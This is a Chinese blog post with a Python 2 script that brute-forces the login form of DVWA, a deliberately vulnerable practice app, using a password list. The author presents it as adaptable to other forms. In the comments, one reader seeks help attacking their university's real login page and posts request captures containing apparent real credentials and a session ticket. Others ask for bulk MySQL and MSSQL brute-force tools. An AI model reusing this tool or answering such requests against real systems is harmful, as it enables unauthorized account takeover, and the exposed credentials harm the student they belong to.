正在阅读:

[Python]DVWA表单破解单线程版

8,649

最近抽时间学习了一下python,只是技术太差了,python的多线程还是没有研究好。还在深入学习中,花点时间写个小脚本练习一下。。。

对python感兴趣的,请关注此文章。。。

http://www.waitalone.cn/python-video.html

DVWA表单破解单线程版

#!/usr/bin/env python
# -*- coding: gbk -*-
# -*- coding: utf-8 -*-
# Date: 2014/8/26
# Created by 独自等待
# 博客 http://www.waitalone.cn/
# python 表单破解
import sys, time, urllib, httplib

starttime = time.time()


def usage():
    print '+' + '-' * 50 + '+'
    print '\t\tDVWA表单破解单线程版'
    print '\t Blog:http://www.waitalone.cn/'
    print '\t\t Code BY: 独自等待'
    print '\t\t Time:2014-08-26'
    print '+' + '-' * 50 + '+'
    if len(sys.argv) != 4:
        print "用法: dvwacrack.py 待破解的域名 用户名 密码字典"
        print "实例: dvwacrack.py www.waitalone.cn admin pass.txt"
        sys.exit()


def crackDvwa(username='admin', password='password'):
    'DVWA表单破解函数单线程版本,Code BY:独自等待'
    httpClient = None
    try:
        params = urllib.urlencode({'username': username, 'password': password, 'Login': '登陆'})
        headers = {'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Baiduspider'}
        httpClient = httplib.HTTPConnection(host, 80, timeout=10)
        httpClient.request('POST', '/dvwa/login.php', params, headers)
        response = httpClient.getresponse()
        # print response.status
        # print response.reason
        # print response.read()
        # print response.getheaders()
        # print dir(response.getheaders())
        # print response.getheader('Location')
    except Exception, msg:
        print '搞毛毛虫,网站都不能访问,请检查!', msg
        sys.exit()
    else:
        if response.getheader('Location') == 'index.php':
            print '恭喜大爷,密码破解成功!用户名:%s\t密码:%s\n' % (username, password)
    finally:
        if httpClient:
            httpClient.close()


if __name__ == '__main__':
    usage()
    host = sys.argv[1]
    username = sys.argv[2]
    passdic = sys.argv[3]
    popen = None

    try:
        popen = open(passdic)
    except IOError, msg:
        print '字典读取错误!', msg
        sys.exit()
    else:
        plist = [x.rstrip() for x in popen.readlines()]
        print '字典加载成功,共有字典%d行!\n' % len(plist)
        for password in plist:
            crackDvwa(username, password)
        print '报告大爷,破解完成,小爷睡觉去了,拜拜喽!\n'
    finally:
        if popen:
            popen.close()
    endtime = time.time()
    print '脚本执行时间:', endtime - starttime, '秒'

针对其它表单破解可以参考此脚本改改就能用了。。。。

python单线程破解dvwa登陆密码

PHP+CURL多线程实现的代码请参考如下文章:

CURL单线程破解DVWA登陆密码

CURL多线程破解DVWA登陆密码

目前有:6条访客评论,博主回复4

  1. 柯南第一
    2014-11-11 10:29

    大神,你用的python版本是2.X还是3.X

  2. 柯南第一
    2014-12-04 02:53

    大神,我编程水平实在差,看不懂代码,大学考试挂科挂了3门,想办法补救,接下来又有考试,没空学编程
    能不能帮我看看我要怎么改才能套用你的代码,帮我这一次,下次见真人请你吃大餐
    一个我们学校的教务登陆表单,我输入错误的账号123 密码456
    提交的数据:
    POST /login;jsessionid=10B4A6C9B52C24195EF013233D6BB023 HTTP/1.1
    Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
    Referer: http://jwcas.cczu.edu.cn/login
    Accept-Language: zh-cn
    Content-Type: application/x-www-form-urlencoded
    Accept-Encoding: gzip, deflate
    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
    Host: jwcas.cczu.edu.cn
    Content-Length: 121
    Connection: Keep-Alive
    Cache-Control: no-cache
    Cookie: JSESSIONID=10B4A6C9B52C24195EF013233D6BB023

    username=123&password=456&lt=LT-1166344-WFZ0EYLCf1kGf5DqLfEbnWQz09Tw7a&execution=e1s1&_eventId=submit&submit=%B5%C7%C2%BC
    返回的信息:
    HTTP/1.1 200 OK
    Server: Apache-Coyote/1.1
    Pragma: no-cache
    Expires: Thu, 01 Jan 1970 00:00:00 GMT
    Cache-Control: no-cache
    Cache-Control: no-store
    Content-Type: text/html;charset=gb2312
    Content-Length: 4353
    Date: Wed, 03 Dec 2014 18:39:58 GMT

    我输入正确的账号:xx/xx
    提交的数据:
    POST /login HTTP/1.1
    Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
    Referer: http://jwcas.cczu.edu.cn/login
    Accept-Language: zh-cn
    Content-Type: application/x-www-form-urlencoded
    Accept-Encoding: gzip, deflate
    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
    Host: jwcas.cczu.edu.cn
    Content-Length: 129
    Connection: Keep-Alive
    Cache-Control: no-cache
    Cookie: JSESSIONID=34154A5CB902893E82CEB04FFB41025B

    username=09429231&password=28001X&lt=LT-1166346-wXwQVEXfpC7GdOeF7OfMOgYHffA3KC&execution=e1s1&_eventId=submit&submit=%B5%C7%C2%BC

    返回的数据:
    HTTP/1.1 200 OK
    Server: Apache-Coyote/1.1
    Pragma: no-cache
    Expires: Thu, 01 Jan 1970 00:00:00 GMT
    Cache-Control: no-cache
    Cache-Control: no-store
    Set-Cookie: CASPRIVACY=””; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
    Set-Cookie: CASTGC=TGT-646849-TJhtX4C5ZMVaA3kdSyjz1KajGws19yjdZYRnbKDalReuScbNqQ-cas.cczu.edu.cn; Path=/
    Content-Type: text/html;charset=gb2312
    Content-Length: 3500
    Date: Wed, 03 Dec 2014 18:46:46 GMT

    • 独自等待
      2014-12-05 10:23

      我又测试了一下,发现post数据包中的lt参数是随机变化的,所以不能使用脚本来进行破解。

  3. 柯南第一
    2014-12-06 02:35

    何等的杯具,随机变化的是哪些参数,我有空再去研究研究

  4. 123
    2015-06-05 09:40

    大牛 好流比 请问下 那个 mysql暴力破解工具 能改成支持批量么。。多个IP 同事破解么!
    还有 能不能写个 mssql的 就是1433的 就跟 mysql暴力破解工具一样 多线程

    • 独自等待
      2015-06-05 10:40

      可以写,但是python的多线程处理比较麻烦,建议还是单ip破解就好了。 mssql的有空就写吧。不过最近忙,你看我博客都好久没更新了。

  5. 123
    2015-06-05 11:10

    好的 大牛!有时间记得写个mssql的 多线程嗯!!我会随时关注你博客的!
    最好能支持大字典!

留下脚印,证明你来过。

*

*

流汗坏笑撇嘴大兵流泪发呆抠鼻吓到偷笑得意呲牙亲亲疑问调皮可爱白眼难过愤怒惊讶鼓掌